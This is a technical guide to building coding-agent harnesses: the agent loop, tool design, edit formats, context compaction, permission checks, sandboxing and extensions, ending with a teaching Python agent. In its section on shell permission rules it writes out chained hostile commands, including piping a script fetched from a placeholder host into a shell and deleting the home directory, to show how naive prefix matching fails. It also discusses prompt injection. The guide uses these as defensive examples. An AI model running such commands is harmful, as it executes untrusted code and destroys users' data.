Harness Engineering

B7 covers using coding agents. This page covers building them: the loop, prompt assembly, tools, edits, context, permissions, sandboxing, persistence and extensions. Agent companies ask candidates to design one. Implementation claims link to real source (Codex CLI, OpenCode, Pi, Gemini CLI, Aider, mini-swe-agent). Claude Code is closed source and is described from official docs only.

1. What a harness is, and why it matters

The harness (or scaffold) is the code that turns model output into actions and feeds results back. Anthropic: "An agent harness (or scaffold) is the system that enables a model to act as an agent", and "When we evaluate 'an agent,' we're evaluating the harness and the model working together." Anthropic 2026 General agent theory is in B4.

Evidence that the harness moves the score

• Anthropic, SWE-bench Verified (Jan 2025): Claude 3.5 Sonnet with a minimal two-tool scaffold (Bash plus an Edit tool) reached 49%. The post says agent performance "can vary significantly based on this scaffolding, even when using the same underlying AI model." Anthropic 2025
• OpenAI, GPT-4.1 prompting guide: three system-prompt reminders (persistence, tool-calling, planning) "increased our internal SWE-bench Verified score by close to 20%". Passing tools through the API's schema field instead of pasting them into the prompt gave about 2% more. OpenAI cookbook
• SWE-bench leaderboard: the Verified board lists the same model under several harnesses. Claude 4.5 Opus is listed at 79.2 with two third-party agents and 76.8 / 74.4 under mini-SWE-agent 2.0 / 1.16. (Reasoning effort also differs between rows.) The default "Bash Only" view fixes the harness to remove that variance. swebench.com
• Terminal-Bench: a third-party leaderboard for Terminal-Bench 2.1 shows one model at 83.1% in its vendor harness and 78% in the neutral Terminus 2 agent. Snorkel leaderboard The reference harness, Terminus, has a single tool (a tmux session) and is "designed without any particular language model in mind". tbench.ai

What the harness is responsible for

1. The loop: sampling, tool dispatch, stop conditions, retries, interrupts.
2. Prompt assembly: system prompt, environment, memory files, tool schemas, reminders.
3. The tool surface: which tools exist, how they are described, how output is shaped and truncated.
4. Edit application: turning the model's edit intent into file changes, with matching, validation and diagnostics.
5. Context management: budgeting, pruning, compaction, subagent isolation.
6. Safety: the permission policy, the OS sandbox, network egress, secrets.
7. State: session logs, resume and fork, snapshots and undo, cost accounting.
8. Provider abstraction: wire formats, thinking blocks, caching, per-model tuning.
9. Surfaces and extension: TUI, IDE, headless and SDK; MCP, hooks, skills, plugins, subagents.

2. Anatomy of a harness

Every harness has the same parts. How much each part does varies.

The parts, one line each, with a real example

System prompt assembly

The system prompt is assembled from layers, most stable first:

1. Base prompt. Identity, working style, tool-use rules. Often chosen per model. OpenCode's provider() in session/system.ts picks anthropic.txt for Claude models, gemini.txt for gemini-, codex.txt for GPT Codex models, beast.txt for gpt-4/o1/o3, and default.txt otherwise. Gemini composes named renderers (renderCoreMandates, renderSandbox …).
2. Tool definitions, in the API's tools field rather than prose.
3. Memory / project instruction files. Codex walks from the git root down to the cwd, concatenating AGENTS.override.md or AGENTS.md, capped at project_doc_max_bytes = 32 KiB (core/src/agents_md.rs). Pi checks AGENTS.override.md, AGENTS.md, CLAUDE.md per directory from ~/.pi/agent and every ancestor (resource-loader.ts). OpenCode takes the first of AGENTS.md / CLAUDE.md found walking up. It also attaches nested AGENTS.md files just-in-time when the model reads a file under them (session/instruction.ts). Gemini loads GEMINI.md up to the .git boundary (memoryDiscovery.ts).
4. Environment block. cwd, OS, shell, date, git status. Codex renders an <environment_context> XML fragment (core/src/context/). Gemini CLI builds a <session_context> block in environmentContext.ts, with global memory in the system instruction, project memory in the first user message and subdirectory memory just-in-time.
5. Skills index. Only name + description + path. The body loads on demand (§10).
6. Dynamic reminders. Mode changes, todo state, "file changed on disk". These are appended as messages, not edited into the system prompt, so the cached prefix survives. Pi goes further: when a prompt section changes, it sends the change as a transcript delta instead of a new system prompt (diffSystemPromptSections).

2b. The turn state machine

Codex's run_turn doc comment states the rule: execute any requested function call and send the output back; a reply with only an assistant message completes the turn. OpenCode's loop in session/prompt.ts exits when the finish reason is not tool-calls and nothing is pending. Gemini CLI adds a twist: when a turn ends with no tool calls, checkNextSpeaker asks a model whether the agent should keep going, and if so sends "Please continue."

3. Teardown of the real harnesses

Below is architecture and philosophy for each harness. The table that follows covers the details. "Pi" means Mario Zechner's minimal coding agent. Its repo badlogic/pi-mono now redirects to earendil-works/pi, and the LICENSE still names him.

OpenAI Codex CLI

Written in Rust: a Cargo workspace of about 190 crates (codex-rs/). The npm package is just a launcher that picks a platform binary. The TUI uses ratatui. The design is client/server: an app-server speaks JSON-RPC (thread/start, thread/fork, thread/compact/start …) over stdio, websocket or a unix socket. Both the TUI and codex exec drive the core through an in-process client. Philosophy: co-designed with the model. Per-model metadata in models.json sets shell type, patch tool type, truncation policy and context window. The only wire API is OpenAI Responses.

OpenCode

Written in TypeScript on Bun, using Effect and the Vercel AI SDK (streamText in session/llm.ts). It is client/server too. An HTTP server (server/server.ts) holds the state. The TUI (OpenTUI + SolidJS, packages/tui) normally reaches it in-process through a Bun worker. opencode serve runs it headless, and the JS SDK is generated from its OpenAPI spec. Philosophy: provider-agnostic and hackable, with per-model prompts and tools, a plugin hook API, and agents and commands defined in markdown.

Pi

Written in TypeScript on Node as small libraries: pi-ai (unified LLM API), pi-agent-core (loop, events, steering), pi-tui (differential rendering) and pi-coding-agent. There are four default tools and a short sectioned system prompt (system-prompt.ts). It deliberately has no permission system or sandbox: the README says it "does not include a built-in permission system" and points to containerization.md. Plan mode, subagents and permission gates exist only as example extensions. MCP ships as a built-in extension you can disable. Philosophy: minimal core, extend it yourself.

Gemini CLI

Written in TypeScript on Node, with an Ink/React TUI (cli), a core package, an A2A server, an SDK and a VS Code companion. The loop is GeminiClient.processTurn → Turn.run, and tools run in an event-driven Scheduler. Safety is layered: a TOML policy engine, trusted folders, a whole-process sandbox and a per-command sandbox. It has the most defensive engineering of the group (loop detection, model fallback, verified compression; see §6 and §8). Philosophy: feature-rich and policy-heavy, built around Gemini.

Aider

Written in Python, and the oldest design here. It still doesn't use tool calling. The model writes edits as text, and a Coder subclass per format parses them (aider/coders/). The user picks which files are in the chat. A tree-sitter repo map summarizes the rest. It is git-native (auto-commit, /undo) and runs an optional lint/test loop. It suggests shell commands for the user to confirm. Philosophy: pair programmer, not autonomous agent, with per-model tuning in model-settings.yml. The last commit in the clone is from May 2026.

Claude Code (from official docs)

Ships as a native binary. The npm package installs the same binary, which "does not itself invoke Node". The implementation language is not documented. Anthropic docs Notable tool choices: TodoWrite is off by default in favor of task tools, and on macOS/Linux search runs through Bash with embedded bfs/ugrep rather than separate Glob/Grep tools. Anthropic docs The sandbox is built on the open-source sandbox-runtime and is opt-in. Anthropic docs The Claude Agent SDK "runs the Claude Code binary". Anthropic docs Philosophy: give the agent "a computer" and loop through gather context, act, verify. Anthropic 2025

Comparison table

4. Tool design in depth

Tool-calling mechanics are in B1. This section covers which tools to expose and how to shape them.

The core tool set

Descriptions and schemas are prompt engineering

The model knows a tool only through its name, description and schema. Anthropic's guide recommends namespacing, returning "only high signal information", and iterating on tools with evals. Anthropic 2025 Patterns in the repos:

• Descriptions as files. OpenCode keeps each description in a .txt next to the tool (edit.txt), so wording changes don't touch code. Pi's read description says "Use offset/limit for large files", a behavioral nudge rather than documentation.
• Accepting the model's mistakes. Pi's edit tool accepts edits sent as a JSON string, because some models send that (tools/edit.ts). OpenCode's experimental_repairToolCall lowercases misspelled tool names and sends anything else to an invalid tool that explains the error.
• Freeform tools. Codex's apply_patch takes raw text constrained by a Lark grammar, not JSON, so the patch needs no escaping.

Output truncation and pagination

One npm install log can fill the window. Harnesses differ in where they cut and what they keep:

Errors that help the model recover

An error message is the prompt for the next step. Real examples:

# Pi (edit-diff.ts)
Found 3 occurrences of the text in src/app.ts. The text must be unique.
Please provide more context to make it unique.

# OpenCode (tool/edit.ts)
Could not find oldString in the file. It must match exactly, including
whitespace, indentation, and line endings.

# Aider (editblock_coder.py), abridged
## SearchReplaceNoExactMatch: This SEARCH block failed to exactly match lines in foo.py
Did you mean to match some of these actual lines from foo.py?
...
# The other 2 SEARCH/REPLACE blocks were applied successfully.
Don't re-send them.

Aider's is the most helpful. It shows the closest real lines, says which blocks already applied, and is sent back as a "reflection" up to max_reflections = 3 times (base_coder.py).

Guards: read-before-edit and friends

• Read-before-edit: Claude Code requires a prior read for older models, so the model can't edit from an imagined version of the file. Anthropic docs The OpenCode snapshot I read has no such guard. It relies on exact matching plus a per-file lock.
• Stale-file check: Gemini CLI re-hashes the file before running its LLM edit fixer.
• Over-broad match guard: OpenCode's isDisproportionateMatch rejects fuzzy matches much larger than oldString.
• Post-edit diagnostics: OpenCode appends formatter and LSP diagnostics to the edit result.

Bash-only vs a rich tool set

The agent-computer interface (ACI)

The SWE-agent paper (arXiv 2405.15793, "Agent-Computer Interfaces Enable Automated Software Engineering") argued that LMs need interfaces designed for them: a windowed file viewer, capped search output, an editor that lints and rejects broken edits. The same team's mini-swe-agent README now says "as LMs have become more capable, a lot of this is not needed". The ACI ideas survive as tool behavior (output caps, actionable errors, diagnostics) rather than special commands.

5. Edit formats in depth

B7 summarizes the formats. This section covers how harnesses apply edits, and how edits fail.

The five families

Codex's apply_patch, read from the grammar

This is the Lark grammar Codex sends as the tool's format constraint, verbatim from core/assets/tools/apply_patch.lark:

start: begin_patch hunk+ end_patch
begin_patch: "*** Begin Patch" LF
end_patch: "*** End Patch" LF?
hunk: add_hunk | delete_hunk | update_hunk
add_hunk: "*** Add File: " filename LF add_line+
delete_hunk: "*** Delete File: " filename LF
update_hunk: "*** Update File: " filename LF change_move? change?
filename: /(.+)/
add_line: "+" /(.*)/ LF -> line
change_move: "*** Move to: " filename LF
change: (change_context | change_line)+ eof_line?
change_context: ("@@" | "@@ " /(.+)/) LF
change_line: ("+" | "-" | " ") /(.*)/ LF
eof_line: "*** End of File" LF

An example patch (mine, not from the repo):

*** Begin Patch
*** Update File: src/server.py
@@ def handle(req):
-    return render(req)
+    if req.user is None:
+        return redirect("/login")
+    return render(req)
*** Add File: tests/test_auth.py
+def test_redirects_anonymous(client):
+    assert client.get("/").status_code == 302
*** End Patch

There are no line numbers, which are the main thing models get wrong in unified diffs. Hunks are located by context lines, optionally narrowed by an @@ scope anchor. Add, delete and move operations share one envelope. seek_sequence() matches with decreasing strictness: exact, then ignoring trailing whitespace, then ignoring whitespace at both ends, then normalizing Unicode punctuation. OpenAI's guide: "We strongly recommend using our exact apply_patch implementation as the model has been trained to excel at this diff format." OpenAI cookbook

String replace with uniqueness, and the fuzzy fallbacks

Anthropic's 2025 SWE-bench scaffold set the rule: "The replacement will only occur if there is exactly one match." Anthropic 2025 If old appears twice, the model has usually misjudged where it is. Harnesses differ in how much fuzziness they allow after an exact match fails:

Models are trained on formats

Format quality depends on the model, partly as a training artifact:

• OpenCode switches tool sets by model ID (registry.ts):

  const usePatch =
    input.modelID.includes("gpt-") && !input.modelID.includes("oss") && !input.modelID.includes("gpt-4")
  if (tool.id === ApplyPatchTool.id) return usePatch
  if (tool.id === EditTool.id || tool.id === WriteTool.id) return !usePatch

• Aider sets edit_format per model in model-settings.yml. For example, gpt-4-1106-preview gets udiff plus a lazy flag that appends "You NEVER leave comments describing code without implementing it!"

Aider's unified-diff experiment is the best-documented edit-format benchmark. On an 89-task Python refactoring "laziness" suite, GPT-4 Turbo (gpt-4-1106-preview) scored 20% with SEARCH/REPLACE blocks and 61% with Aider's unified diff format, which "reduced laziness by 3X". Aider docs Aider's udiff isn't strict GNU diff. It ignores line numbers and applies hunks with flexible strategies (search_replace.py).

6. Context engineering inside the harness

Concepts are in B3 and B1. This section covers what the harness does with the window, turn by turn.

What's in the window at turn N

Cache-friendly ordering

Never change the prefix: base prompt and tools come first, and tools are never reordered. Lazy MCP loading through a tool-search tool (Claude Code ToolSearch, Codex tool_search) keeps many schemas out of it. History is append-only, and state changes arrive as new messages. Compaction deliberately resets the cache, so run it rarely and only at a turn boundary.

Compaction: trigger, cut point, summary prompt

Each implementation decides when to compact, what to keep verbatim, and what the summary must contain.

Tool-result clearing

Old tool outputs are the cheapest thing to drop, since the tool can be re-run. Gemini's toolOutputMaskingService.ts masks outputs beyond a 50k-token protection window, but only when at least 30k tokens can be reclaimed. Anthropic's API offers this server-side (clear_tool_uses_20250919). Anthropic API docs

Repo maps vs agentic search vs embeddings

Aider's repo map (repomap.py) is the most sophisticated static approach:

1. Extract definition and reference tags with tree-sitter queries (*-tags.scm).
2. Build a networkx.MultiDiGraph: file A → file B when A references an identifier B defines. Weights: √(reference count), ×10 for mentioned identifiers, ×50 from chat files, ×0.1 for private or very common names.
3. Run nx.pagerank personalized toward chat files and mentioned names, so it ranks relevance to the current task.
4. Binary-search how many definitions fit the budget (effectively window/8, clamped to 1k–4k tokens) and render an outline.

The other harnesses use agentic search instead (B7 compares it with embeddings). It needs no index to keep fresh, and costs turns and tokens that subagents can contain.

Subagents for context isolation, and token budgeting

• Subagents run in a fresh context and return a summary. The parent sees the result, not the 40 greps. See §10.
• Budgeting: reserve output tokens, and shrink tool caps as the window fills (Gemini). Codex has feature-gated tools that show the model its remaining budget.
• File-state tracking: record which files were read, and at what version, for read-before-edit guards and "changed on disk" reminders.

7. Permissions and sandboxing

The threat model is in B5. Mechanically there are two layers. A policy layer decides whether something runs. A containment layer limits what it can do once it runs. You need both.

Approval modes, as actually implemented

Codex has two axes. Sandbox mode sets what a command can touch, and approval policy sets when to ask. With on-request + workspace-write, contained commands run unprompted, and the model asks only to escape the sandbox. Anthropic reports a similar effect from Claude Code's sandbox (84% fewer prompts; see B7).

The permission decision flow

Why shell prefix matching is hard

A string-prefix rule for git status also approves git status && curl evil.sh | sh, git status; rm -rf ~, and git -c core.pager='sh -c …' status. What harnesses do instead:

• Parse with a real grammar. Codex (shell-command/src/bash.rs), OpenCode (tool/shell.ts, web-tree-sitter) and Gemini CLI (shell-utils.ts: splitCommands, getCommandRoots, detectCommandSubstitution, stripShellWrapper) all use tree-sitter-bash and check each sub-command.
• Require all sub-commands to be allowed. Claude Code documents this: "a rule like Bash(safe-cmd *) won't give it permission to run the command safe-cmd && other-cmd". Deny rules also apply inside subshells and substitutions. Anthropic docs
• Narrow persisted approvals by command arity. OpenCode's "always allow" stores a prefix sized by an arity table (git: 2, npm run: 3), so approving git push origin main stores git push * (permission/arity.ts).
• Unwrap wrappers and detect danger. Codex's is_dangerous_command.rs looks through up to 8 wrapper layers. Its execpolicy uses Starlark prefix_rule files that decide allow/prompt/forbidden.
• Admit the limits. Claude Code's docs: argument patterns "are fragile", and a deny rule "isn't a security boundary". Hence the sandbox.

OS sandboxes

Network egress, secrets, injection

• Egress: Codex's workspace-write defaults to network_access = false, and its network-proxy enforces host policy. Claude Code proxies sandboxed traffic against a domain allowlist that starts empty.
• Secrets: Claude Code's sandbox still allows reads of "credential files such as ~/.ssh" unless you deny them. Gemini treats .env* as SECRET_FILES (sandboxManager.ts). OpenCode asks before reading *.env.
• Injection via repo content: mitigations seen in code include trust gates (Gemini's trusted folders, Pi's project trust), a "CRITICAL SECURITY RULE" in Gemini's compression prompt, and injection evals (prompt_injection_mcp).

8. Reliability and the loop

Mostly plumbing. Durable execution in general is in B4.

Stop conditions and loop detection

• Step limits. On the final step OpenCode injects MAX_STEPS_PROMPT ("CRITICAL - MAXIMUM STEPS REACHED … Tools are disabled"), so the model summarizes instead of stopping mid-action. mini-swe-agent has step, cost (default $3) and wall-time limits.
• Doom loops. OpenCode asks the user after 3 identical consecutive tool calls (processor.ts). Gemini's loopDetectionService.ts catches tool-call cycles, repeated content and (after 30 turns) LLM-judged loops. It nudges once, then stops.

Retries with backoff

Retry transport failures only (resets, 429, 5xx, stalled streams). A tool failure goes back to the model as an error result, because the model decides what to try next.

Interrupt and steer

Codex propagates a CancellationToken to in-flight tools and records an "interrupted turn" marker for the model (tasks/mod.rs). Pi separates queued input (agent.ts). steer() messages "enter after the current assistant turn". followUp() messages enter only when the agent would otherwise stop.

Checkpoints and rewind

• Shadow git repo. OpenCode runs git --git-dir <shadow> --work-tree <repo>, snapshotting with write-tree each step and restoring with read-tree + checkout-index (snapshot/index.ts). Gemini does the same when checkpointing is enabled (gitService.ts). This catches bash-made changes and leaves the user's history alone.
• Per-edit snapshots: Claude Code's /rewind "does not track files modified by Bash commands". Anthropic docs
• Real commits: Aider's /undo reverts only commits Aider made.
• History only: Codex's thread/revert "does not revert local file changes". Pi's /tree branches the conversation.

Session persistence, parallelism, streaming, cost

• Sessions: append-only logs, because they are crash-safe and replayable. Codex writes typed JSONL rollouts under ~/.codex/sessions/ with codex resume/fork. Pi's JSONL entries form a tree via id/parentId (session-format.md). OpenCode uses SQLite.
• Parallel tool calls: Codex puts calls behind an RwLock. Parallel-safe tools share the read lock, the others take the write lock (tools/parallel.rs). Pi runs a batch sequentially if any tool in it asks for that.
• Streaming: render tokens as they arrive, but execute only complete tool calls.
• Cost: pi-ai's Usage separates input, output, cache read/write and reasoning tokens, with a cost breakdown (ai/src/models.ts). Cache reads are most of a long session's tokens.

9. Multi-model support

What actually differs between providers

Per-model prompts and tools

Even model-agnostic harnesses tune per model:

• Prompts: OpenCode has one prompt file per model family (§2). Aider adds per-model prefixes and corrective prompts.
• Tools: OpenCode switches apply_patch ↔ edit/write. Codex's ModelInfo sets shell type, patch tool type, truncation and parallel-call support per model.
• Roles: Aider's architect mode pairs a planning model with an "editor" model and format. A "weak model" writes commit messages and summaries. Gemini routes between Gemini variants (routing/strategies/).

10. Extensibility architecture

B7 covers configuration. This section covers implementation.

MCP client

The same pattern everywhere: spawn stdio servers or connect over streamable HTTP, list tools, namespace them (mcp__server__tool in Pi, mcp_server_tool in Gemini), and route calls through the same permission engine as built-in tools. Codex uses the Rust rmcp SDK (rmcp-client/). OpenCode and Gemini use @modelcontextprotocol/sdk. Pi wrote its own (packages/mcp). Two problems recur: tool-count bloat, solved by tool search, and OAuth for remote servers.

Hooks: the event model

There are two styles. Command hooks (Claude Code, Codex, Gemini) work in any language and can be centrally managed, but cost a process spawn per call. In-process plugins (OpenCode, Pi) are fast and can change anything, and they run with the harness's own privileges.

Skills and progressive disclosure

Every harness here except Aider supports skills, and the pattern is the same wherever it is documented. At startup they scan SKILL.md files and put only the frontmatter name and description (plus path) into the prompt. The body loads only when the task needs it. Claude Code has a Skill tool, OpenCode a skill tool, and Gemini an activate_skill tool. Pi "advertises each available skill by name and description, then loads its full instructions only when the task calls for them" (skills.md). Codex embeds system skills in its skills crate. OpenCode also scans .claude/skills and .agents/skills (skill/index.ts).

Subagents

A subagent is a tool that runs another loop with its own context, tools and permissions, and returns a summary. Codex exposes lifecycle tools (spawn_agent, wait_agent …). OpenCode's task creates a child session (task.ts). Gemini's invoke_agent reaches built-ins like codebase_investigator, markdown-defined agents, or remote A2A agents. Its local agents must call complete_task within 30 turns or 10 minutes by default (agents/types.ts).

Headless modes, SDKs, client/server

The trend is core as server, UIs as clients (Codex app-server, OpenCode server). For editors, Zed's Agent Client Protocol (JSON-RPC over stdio) standardizes the editor-to-agent link. Its site lists Gemini CLI, OpenCode, Goose and Cline as agents, with Claude Code and Codex via adapters. ACP site

11. Evaluating a harness

Methodology is in B5. The key rule: change one variable and hold the model fixed.

External benchmarks

Internal evals: what the harness teams ship

• Behavioral evals: Gemini CLI's evals/ "verify that the model chooses to take the correct action". There are about 40 cases (frugalReads, shell_command_safety, prompt_injection_mcp …), each tagged ALWAYS_PASSES, USUALLY_PASSES or USUALLY_FAILS to cope with nondeterminism. Pi has packages/evals.
• Regression suites: real tasks from your repos with automated checks, run on every prompt or tool change.
• A/B tests: k runs per arm, with confidence intervals. Anthropic recommends "pass@k for tools where one success matters, pass^k for agents where consistency is essential" and to "grade what the agent produced, not the path it took". Anthropic 2026
• Trajectory analysis: bucket the failures (wrong file, edit failed, ignored tests, looped, overflowed) and fix the top bucket. Aider's "spurious leading blank line" fallback exists because GPT did that.
• Efficiency: cost per solved task, turns, wall time, edit-failure rate, prompts per task.

12. Build your own minimal harness

A compact Python coding agent: the loop, four tools, a permission check, truncation and a compaction stub, written against the Anthropic Messages API shape. It is a teaching sketch. Check the SDK calls against current docs before running it.

# mini_harness.py: teaching sketch, not production code.
import json, os, re, subprocess, pathlib
import anthropic

client = anthropic.Anthropic()               # reads ANTHROPIC_API_KEY
MODEL = os.environ["AGENT_MODEL"]            # set to a current model ID
ROOT = pathlib.Path.cwd().resolve()
MAX_STEPS, MAX_OUT, COMPACT_AT = 60, 20_000, 150_000   # chars / tokens (rough)
read_files: set[str] = set()                 # file-state tracking for the edit guard

def clip(s: str, limit: int = MAX_OUT) -> str:
    """Head+tail truncation: keep the start and (more importantly) the end."""
    if len(s) <= limit: return s
    h = limit // 2
    return s[:h] + f"\n…[{len(s)-limit} chars truncated]…\n" + s[-h:]

def safe_path(p: str) -> pathlib.Path:
    q = (ROOT / p).resolve()
    if not q.is_relative_to(ROOT): raise ValueError(f"{p} is outside the workspace")
    return q

# ---- tools -----------------------------------------------------------
def t_read(path, offset=0, limit=2000):
    lines = safe_path(path).read_text().splitlines()
    read_files.add(str(safe_path(path)))
    body = "\n".join(f"{i+1:6}\t{l}" for i, l in enumerate(lines[offset:offset+limit], offset))
    more = f"\n[{len(lines)-offset-limit} more lines; use offset]" if len(lines) > offset+limit else ""
    return clip(body) + more

def t_edit(path, old, new):
    f = safe_path(path)
    if str(f) not in read_files: return "Error: read the file before editing it."
    text = f.read_text(); n = text.count(old)
    if n == 0: return "Error: old text not found. It must match exactly, including whitespace. Re-read the file."
    if n > 1:  return f"Error: old text appears {n} times. Add surrounding lines to make it unique."
    f.write_text(text.replace(old, new, 1)); return f"Edited {path}."

def t_write(path, content):
    f = safe_path(path); f.parent.mkdir(parents=True, exist_ok=True)
    f.write_text(content); read_files.add(str(f)); return f"Wrote {len(content)} chars to {path}."

def t_bash(command, timeout=120):
    try:
        r = subprocess.run(command, shell=True, cwd=ROOT, capture_output=True, text=True, timeout=timeout)
        return clip(f"exit={r.returncode}\n{r.stdout}{r.stderr}")
    except subprocess.TimeoutExpired:
        return f"Error: timed out after {timeout}s. Use a narrower command or a longer timeout."

TOOLS = {"read": t_read, "edit": t_edit, "write": t_write, "bash": t_bash}
SCHEMAS = [
  {"name": "read", "description": "Read a text file with line numbers. Use offset/limit for large files.",
   "input_schema": {"type": "object", "properties": {"path": {"type": "string"},
     "offset": {"type": "integer"}, "limit": {"type": "integer"}}, "required": ["path"]}},
  {"name": "edit", "description": "Replace one exact, unique occurrence of `old` with `new`. Read the file first.",
   "input_schema": {"type": "object", "properties": {"path": {"type": "string"},
     "old": {"type": "string"}, "new": {"type": "string"}}, "required": ["path", "old", "new"]}},
  {"name": "write", "description": "Create or overwrite a file with full content.",
   "input_schema": {"type": "object", "properties": {"path": {"type": "string"},
     "content": {"type": "string"}}, "required": ["path", "content"]}},
  {"name": "bash", "description": "Run a shell command in the repo root. Output is truncated; filter it (e.g. | tail -50).",
   "input_schema": {"type": "object", "properties": {"command": {"type": "string"},
     "timeout": {"type": "integer"}}, "required": ["command"]}},
]

# ---- permissions (deliberately simple; see section 7 for the real thing) ----
SAFE = re.compile(r"^(ls|cat|grep|rg|find|git (status|diff|log)|pytest|python -m pytest)\b")
SEPARATORS = re.compile(r"(&&|\|\||;|\||`|\$\(|>|\n)")

def allowed(name, args) -> bool:
    if name in ("read",): return True
    if name == "bash":
        cmd = args["command"].strip()
        if not SEPARATORS.search(cmd) and SAFE.match(cmd): return True   # no chaining tricks
    ans = input(f"\nAllow {name} {json.dumps(args)[:200]}? [y/N] ")
    return ans.strip().lower() == "y"

# ---- context management stub ----
def maybe_compact(messages, usage_in):
    if usage_in < COMPACT_AT: return messages
    summary = client.messages.create(model=MODEL, max_tokens=2000,
        system="Summarize this coding session for another engineer: goal, constraints the user stated, "
               "decisions, files changed, current state, next step. Be specific.",
        messages=messages + [{"role": "assistant", "content": "(pausing to summarize)"},
                            {"role": "user", "content": "Write the summary now."}]).content[0].text
    return [{"role": "user", "content": f"[Summary of earlier work]\n{summary}\n\nContinue the task."}]
    # NB: a real version cuts at a turn boundary and keeps recent turns verbatim.

SYSTEM = (f"You are a coding agent working in {ROOT}. Use tools to inspect, edit and test. "
          "Verify with tests before saying you are done. Be concise.")
if (ROOT / "AGENTS.md").exists(): SYSTEM += "\n\n# Project instructions\n" + (ROOT / "AGENTS.md").read_text()[:32_000]

def run(task: str):
    messages = [{"role": "user", "content": task}]
    for step in range(MAX_STEPS):
        resp = client.messages.create(model=MODEL, max_tokens=8000, system=SYSTEM,
                                      tools=SCHEMAS, messages=messages)
        messages.append({"role": "assistant", "content": resp.content})
        for b in resp.content:
            if b.type == "text": print(b.text)
        if resp.stop_reason != "tool_use": return            # turn complete
        results = []
        for b in resp.content:
            if b.type != "tool_use": continue
            if not allowed(b.name, b.input):
                out, err = "Denied by user. Try a different approach or ask.", True
            else:
                try:    out, err = TOOLS[b.name](**b.input), False
                except Exception as e: out, err = f"Error: {e}", True   # errors go back to the model
            results.append({"type": "tool_result", "tool_use_id": b.id, "content": out, "is_error": err})
        messages.append({"role": "user", "content": results})
        messages = maybe_compact(messages, resp.usage.input_tokens)
    print("Stopped: step limit reached.")

if __name__ == "__main__":
    run(input("Task: "))

What to add next: the ladder

1. Prompt caching breakpoints (B1).
2. Streaming, interrupts, process-group kill, synthetic results for unfinished calls.
3. Jittered retries that honor retry-after.
4. tree-sitter shell parsing, deny-wins rules, narrowed approvals.
5. OS sandbox with default-deny network, or a container.
6. JSONL session log with resume, then shadow-git snapshots.
7. Better edits: normalized fallback, multi-edit, lint/LSP diagnostics.
8. Grep/glob, todo and subagent tools.
9. Real compaction: clear tool output first, safe cut, structured summary.
10. Provider abstraction and per-model tools and prompts.
11. MCP, hooks, skills, headless JSONL mode.
12. An eval harness: fixed tasks, k runs, cost tracking, trajectory viewer.

Interview question bank